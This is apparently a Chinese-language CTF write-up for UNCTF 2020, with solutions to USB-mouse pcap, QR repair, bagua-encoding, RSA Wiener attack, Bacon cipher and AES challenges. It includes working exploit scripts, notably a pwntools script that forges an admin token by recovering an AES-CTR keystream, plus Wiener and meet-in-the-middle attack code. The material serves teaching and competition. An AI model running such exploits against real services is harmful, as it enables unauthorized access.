所以我们先在wireshark根目录下使用指令运行tshark工具:

tshark.exe -r "C:\Users\admin\Desktop\class\unctf2020出题\mouse_click\mouse_click.pcapng" -T fields -e usb.capdata >"C:\Users\admin\Desktop\class\unctf2020出题\mouse_click\mouse_click.txt"

tsharkwindows版wireshark自带tshark,其他版本自己视情况安装工具,目录请自行更改。

得到的文本中有很多空行(打开文件以后看看滚动条是好习惯,前面全是空行不代表文件真的是空的),所以我们要先去除空行

 

从数据长度可以看出,这是USB鼠标流量,题目名称mouse_click可能有误导,因为移动轨迹看着很乱,所以我本身的想法是绘制鼠标单击的点,其实直接绘制路径也勉强看的出来,下面放出解题脚本:

#!/usr/bin/env python
# -*- encoding: utf-8 -*-
#unctf2020 mouse_click wp
#coil
 
import matplotlib.pyplot as plt
 
fi = open("mouse_click.txt","r")
x = 0
y = 0
click_point = []
for line in fi:
    if len(line) != 12:
        continue
    x_offset = int(line[3:5],16)
    y_offset = int(line[6:8],16)
    if x_offset > 127 :
        x_offset -= 256
    if y_offset >127 :
        y_offset -=256
    x += x_offset
    y += y_offset
    if line[0:2]=="01":
        click_point.append((x,y))
fi.close()
 
plt.gca().invert_yaxis()
for i in range(len(click_point)):
    plt.plot(click_point[i][0], click_point[i][1], "o")
plt.show()

根据题目描述,flag格式是unctf{***},***内英文全是大写,所以flag是unctf{U5BC@P}

 

总结:

hint -> 知识点 -> 工具

数据流量包是USB流量包 -> USB流量包分析 -> tshark

USB数据是8字节 -> 键盘USB流量分析 ->

USB数据是4字节 -> 鼠标USB流量分析 ->

 

 

撕坏的二维码

本身这题只有右半边数据区,看很多人吐槽题目太难,所以这一题补个定位点就行。因为涂的是数据区,好多师傅想多了,其实只需要补上定位点就可以扫。这里我用的是qrazybox:首先点击定位点,选择和二维码对应的纠错等级和掩码模式,

 

 

其次选择正确的尺寸,按照二维码补齐一定量的像素点,

 

最后选择Tools-Extract QR Information查看二维码信息

 

可以看到flag是unctf{QR@2yB0x}。

 

总结:

hint -> 知识点 -> 工具

二维码缺失左半边 -> 还原数据区 -> qrazybox

二维码缺失左右各1/4 -> 更具校验区还原数据区 -> qrazybox

其他 -> 补定位点 -> qrazybox

 

太极八卦

这一题打开可以看到文本内全是八卦字符,两两一组,中心是=和○,结合hint可以知道○没用,所以根据=可以想到base家族,再根据八卦字符有八种且两两一组,可以联想到八八六十四种情况对应base64,再根据hint可以猜到文本内是双螺旋矩阵,前方高能,眩晕警告:

 

按照双螺旋矩阵读取成两个字符串,然后根据可以猜到八卦符号中的"—"为1"- -"为0,一个符号从上至下组成一个三位二进制数字,两个三位二进制数对应到b64编码表组成的矩阵中:

图中0是

第一位,1是指第二位

 

下面贴出的是我的渣渣出题脚本,解题脚本师傅们自行写逆过程吧,我懒得写了:

#!/usr/bin/env python
# -*- encoding: utf-8 -*-
#unctf2020 出题
#coil
 
import base64
import numpy
numpy.set_printoptions(threshold=numpy.inf)
 
gua = "☷☳☵☱☶☲☴☰"
base64_alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
 
def ToBase64(file):
    with open(file, 'rb') as fileObj:
        image_data = fileObj.read()
        base64_data = base64.b64encode(image_data)
        return base64_data.decode()
def ToFile(fileObj, file):
    base64_data = fileObj.read()
    ori_image_data = base64.b64decode(base64_data)
    fout = open(file, 'wb')
    fout.write(ori_image_data)
 
txt1 = ToBase64("image0.bmp")
print(txt1)
txt1 = list(txt1)
txt2 = ToBase64("image1.bmp")
print(txt1)
txt2 = list(txt2)
 
l = int(pow((max(len(txt1),len(txt2)))*2,0.5))+1
m = "="*(pow(l,2))
m = list(m)
m = numpy.array(m, dtype=numpy.unicode_)
m = m.reshape(l, l)
 
pl = []
pl.append(l)
for i in range(l-2,1,-2):
    pl.append(i)
    pl.append(i)
pl.append(1)
 
start = [0,-1]
plsum = 0
for i in range(len(pl)):
    if plsum == 1612:
        break
    if i%4 == 0:
        index = 1
        for j in range(pl[i]):
            start[index] += 1
            m[start[0],start[1]] = txt1[plsum]
            plsum += 1
    elif i%4 == 1:
        index = 0
        for j in range(pl[i]):
            start[index] += 1
            m[start[0],start[1]] = txt1[plsum]
            plsum += 1
    elif i%4 == 2:
        index = 1
        for j in range(pl[i]):
            start[index] -= 1
            m[start[0],start[1]] = txt1[plsum]
            plsum += 1
    elif i%4 == 3:
        index = 0
        for j in range(pl[i]):
            start[index] -= 1
            m[start[0],start[1]] = txt1[plsum]
            plsum += 1
 
start = [l-1,l]
plsum = 0
for i in range(len(pl)):
    if plsum == 1612:
        break
    if i%4 == 0:
        index = 1
        for j in range(pl[i]):
            start[index] -= 1
            m[start[0],start[1]] = txt2[plsum]
            plsum += 1
    elif i%4 == 1:
        index = 0
        for j in range(pl[i]):
            start[index] -= 1
            m[start[0],start[1]] = txt2[plsum]
            plsum += 1
    elif i%4 == 2:
        index = 1
        for j in range(pl[i]):
            start[index] += 1
            m[start[0],start[1]] = txt2[plsum]
            plsum += 1
    elif i%4 == 3:
        index = 0
        for j in range(pl[i]):
            start[index] += 1
            m[start[0],start[1]] = txt2[plsum]
            plsum += 1
m[int(l/2),int(l/2)] = '○'
 
decode_s = ""
for x in range(m.shape[1]):
    for y in range(m.shape[0]):
        c = m[x,y]
        pos = base64_alphabet.find(c)
        if pos == -1:
            decode_s += c*2 +" "
        else:
            pos = oct(pos)
            pos = str(pos).lstrip("0o")
            pos = pos.zfill(2)
            decode_s += gua[int(pos[0])]+gua[int(pos[1])]+" "
    decode_s += "\n"
 
with open("out.txt", "wb") as outf:
    outf.write(decode_s.encode("utf-8"))


 

得到的b64字符串解码写文件可以得到两个bmp图片:

 

根据hint和文本中的两个○,可以猜到是将两个图片融合,这里我们使用融合卡融合stegsolve.jar打开image0.bmp,再用analyse-image combiner打开image1.bmp,第一个就是异或:

可以得到flag是flag{t@1Ji_6A-Gu4_b64}

 

总结:

hint -> 知识点 -> 工具

hint1,hint3 -> 双螺旋矩阵 ->

hint2,"=" -> b64 -> audacity

b64解码后BM开头 -> bmp文件头 ->

hint1,hint3,"○" -> 图片异或 -> stegsolve.jar

 

 

 

Crypto

Wing

Windings2字体

一一对照

 

 

简单的RSA

打开附件有enc,e非常大,应当可以猜到是使用低解密指数攻击,即RSA维纳攻击(RSA wiener attack),去搜索维纳攻击或维纳攻击的英文名称可以找到很多解题脚本(github上也有解题脚本),这里以一个网上找的脚本为例(python2)

# -*- coding: cp936 -*-
import gmpy2
import time
# 展开为连分数
def continuedFra(x, y):
    cF = []
    while y:
        cF += [x / y]
        x, y = y, x % y
    return cF
def Simplify(ctnf):
    numerator = 0
    denominator = 1
    for x in ctnf[::-1]:
        numerator, denominator = denominator, x * denominator + numerator
    return (numerator, denominator)
# 连分数化简
def calculateFrac(x, y):
    cF = continuedFra(x, y)
    cF = map(Simplify, (cF[0:i] for i in xrange(1, len(cF))))
    return cF
# 解韦达定理
def solve_pq(a, b, c):
    par = gmpy2.isqrt(b * b - 4 * a * c)
    return (-b + par) / (2 * a), (-b - par) / (2 * a)
def wienerAttack(e, n):
    for (d, k) in calculateFrac(e, n):
        if k == 0: continue
        if (e * d - 1) % k != 0: continue
        phi = (e * d - 1) / k
        p, q = solve_pq(1, n - phi + 1, n)
        if p * q == n:
            return abs(int(p)), abs(int(q))
    print 'not find!'
time.clock()
e= 18437613570247445737704630776150775735509244525633303532921813122997549954741828855898842356900537746647414676272022397989161180996467240795661928117273837666615415153571959258847829528131519423486261757569454011940318849589730152031528323576997801788206457548531802663834418381061551227544937412734776581781
n= 147282573611984580384965727976839351356009465616053475428039851794553880833177877211323318130843267847303264730088424552657129314295117614222630326581943132950689147833674506592824134135054877394753008169629583742916853056999371985307138775298080986801742942833212727949277517691311315098722536282119888605701
c= 140896698267670480175739817539898638657099087197096836734243016824204113452987617610944986742919793506024892638851339015015706164412994514598564989374037762836439262224649359411190187875207060663509777017529293145434535056275850555331099130633232844054767057175076598741233988533181035871238444008366306956934
 
p, q = wienerAttack(e, n)
print '[+]Found!'
print '  [-]p =',p
print '  [-]q =',q
print '  [-]n =',p*q
d = gmpy2.invert(e,(p-1)*(q-1))
print '  [-]d =', d
print '  [-]m is:' + '{:x}'.format(pow(c,d,n)).decode('hex')
print '\n[!]Timer:', round(time.clock(),2), 's'
print '[!]All Done!'


 

 

可以得到最后的flag为unctf{wi3n3r_Att@ck}

 

总结:

hint -> 知识点 -> 工具

e很大->维纳攻击 -> rsa-wiener-attack

 

鞍山大法官之缺失的营养这一块怎么补

观察特征本质上是培根密码,结合标题也在提示,将ot转成ab再解码得到PEIGENHENYOUYINGYANG,再加上flag格式就完事了。

 

快乐数学

miniSys

[题解思路]

注意到sign_up处AES-CTR初始化的counter为当前秒数,可控,且

 token = hexlify(aes.encrypt(username.encode() + b'|' + self.salt + b'|lv0')).decode()

 # self.salt = b''.join(bytes([random.choice(list(range(0x7c))+list(range(0x7d, 0x100)))]) for i in range(16))

在sign_up检查username的合法性时,有规则如下:

 if len(username) >= 12 or len(username) == 0 or username == "skr@minisys":

     return False

即token在加密前,后缀'|lv0'已知,前缀username + '|'已知

前缀最大长度可为12,后缀长度为4,因此可作以下基于时间的攻击:

  • 在r秒时,注册任一长度为11的username,获取到token1
  • 在r+1秒时,注册任一长度为11的username,获取到token2
  • 在r+2秒时,注册任一长度为11的username,获取到token3

基于已知的前缀和后缀,可获取到

 

因此获取到了counter=r+1时,CTR加密token的完整密钥流(32 bits),以及还原出salt

 payload = hexlify(xor(b"skr@minisys|" + salt + b"|lv1", key))

在等待当前秒数为r+1时,sign_up更新counter,再发送payload登陆,获得flag

ps:由于该攻击基于时间(当前秒数),因此与网络传输速率有关,在网络环境延迟极大的时候有概率失败,重试即可

[exp]

 import re
 import sys
 import time
 from binascii import hexlify, unhexlify
 from pwn import *
 
 io = remote(sys.argv[1], sys.argv[2])
 # context.log_level = 'debug'
 
 
 def xor(a, b):
     return bytes(x ^ y for x, y in zip(a, b))
 
 
 def sign_up():
     io.sendlineafter("> ", "1")
     username = "dktb@ubuntu"
     io.sendlineafter("> ", username)
     msg = io.recvline().strip().decode()
     token = unhexlify(re.findall(r"token=(.*)", msg)[0])
     return token
 
 
 def crack_key():
     r = time.localtime(time.time())[5]
     while r > 55:
         r = time.localtime(time.time())[5]
         time.sleep(1)
     token = sign_up()
     key_left = xor(token[-4:], b"|lv0")
     time.sleep(0.9)
     r = time.localtime(time.time())[5]
     token = sign_up()
     salt = token[12:28]
     key_left = xor(token[:12], b"dktb@ubuntu|") + key_left
     key_right = xor(token[-4:], b"|lv0")
     time.sleep(0.9)
     token = sign_up()
     key_right = xor(token[:12], b"dktb@ubuntu|") + key_right
     key = key_left + key_right
     salt = xor(salt, key[12:28])
     print(r)
     print(key)
     print(salt)
     return r, key, salt
 
 
 def get_flag(r, key, salt):
     payload = hexlify(xor(b"skr@minisys|" + salt + b"|lv1", key))
     cur_r = time.localtime(time.time())[5]
     while cur_r != (r-2) % 60:
         cur_r = time.localtime(time.time())[5]
         print("%02d" % cur_r)
         time.sleep(1)
     for i in range(10):
         _ = sign_up()
         io.sendlineafter("> ", "2")
         io.sendlineafter("> ", payload)
         msg = io.recvline().strip().decode()
         print(msg)
         if 'flag' in msg:
             exit(0)
         time.sleep(0.4)
     print("`get_flag` failed...(Caused by Network Transmission Rate)")
     print("Try again please")
 
 
 def main():
     r, key, salt = crack_key()
     get_flag(r, key, salt)
 
 
 if __name__ == '__main__':
     main()


signIn

[解题思路]

[exp]

 import random, itertools
 from Crypto.Cipher import AES
 from string import printable
 from binascii import unhexlify
 from tqdm import tqdm
 
 key_base = '0' * 13
 unknown = list(itertools.product(printable, repeat=3)) # brute_force_range
 pt = b"UNCTF2020_Enjoy_Crypto~"
 ct = unhexlify(b'01a4e429e76db218fa0eb18f03ec69c9200a2362d8b4d7ea46170ce698389bbd')
 enc_flag = unhexlify(b'196cc94c2d685beb54beeaa14c1dc0a6f3794d65fca0d1a1274515166e4255ab367383092e42d774992f74bc138faaad')
 val = len(pt) % 16
 if val:
     pt += b'\x00'* (16 - val)
 forward, backward = dict(), dict()
 set1, set2 = set(), set()
 
 for unk in tqdm(unknown):
     suffix = "".join(unk)
     key1 = (key_base + suffix).encode()
     cipher1 = AES.new(key=key1, mode=AES.MODE_ECB)
     mid = cipher1.encrypt(pt)
     forward[mid] = key1
     set1.add(mid)
 
 for unk in tqdm(unknown):
     prefix = "".join(unk)
     key2 = (prefix + key_base).encode()
     cipher2 = AES.new(key=key2, mode=AES.MODE_ECB)
     mid = cipher2.decrypt(ct)
     backward[mid] = key2
     set2.add(mid)
 
 mid = (set1 & set2).pop()
 key1 = forward[mid]
 key2 = backward[mid]
 cipher1 = AES.new(key=key1, mode=AES.MODE_ECB)
 cipher2 = AES.new(key=key2, mode=AES.MODE_ECB)
 print(cipher1.decrypt(cipher2.decrypt(enc_flag)))
 
 '''
 100%|██████████| 1000000/1000000 [00:10<00:00, 99651.39it/s]
 100%|██████████| 1000000/1000000 [00:10<00:00, 99648.99it/s]
 b'unctf{524e314a-5843-3030-5939-333230323541}\x05\x05\x05\x05\x05'
 '''


 

 

 

 

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。